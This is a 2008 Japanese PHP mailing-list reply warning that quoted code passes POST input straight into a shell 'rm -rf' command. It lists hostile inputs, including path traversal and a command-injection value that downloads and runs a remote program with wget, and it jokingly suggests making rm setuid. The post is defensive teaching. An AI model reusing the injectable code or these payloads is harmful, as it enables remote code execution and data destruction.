[PHP-users 33368] Re: PHPでサーバのディレクトリを削除

OKUMURI okumurya @ gmail.com
2008年 3月 7日 (金) 02:44:59 JST


オクムラです。

すでに[PHP-users 33357]や[PHP-users 33358]で指摘されていますが、サトウ
さんのために補足させてください。もし岡本さんの書かれたようなコードを使
うときは、$_POST['ID'] にどのようなデータが入ってきても大丈夫なように作っ
てください。

例えば、次のようなデータが入った時に何が起きるでしょう(あるいは起きな
いでしょう)?

 - 期待しない数字
 - 空っぽ
 - '*'
 - '.'
 - "\x0099999"
 - '../../../../../*'
 - '100; cd /tmp; wget http://some/attack/program && ./program'

# これがわからないとWebプログラマになれないよ ><

At Wed, 05 Mar 2008 16:57:59 +0900,
岡本 基 wrote:
> 
> $subdir	= $_POST['ID'];
> $dir	= "/usr/local/apache/htdocs/data/".$subdir;
> $cmd	= "rm -rf ".$dir;
> $res	= system($cmd);


- - -

別メール[PHP-users 33367]の解決策は、
  chmod 4555 /bin/rm
です。これで誰のファイルでも消せるようになります。
(冗談です)
いろいろ手はありますがCGIにしてsuexecが簡単かな。





PHP-users メーリングリストの案内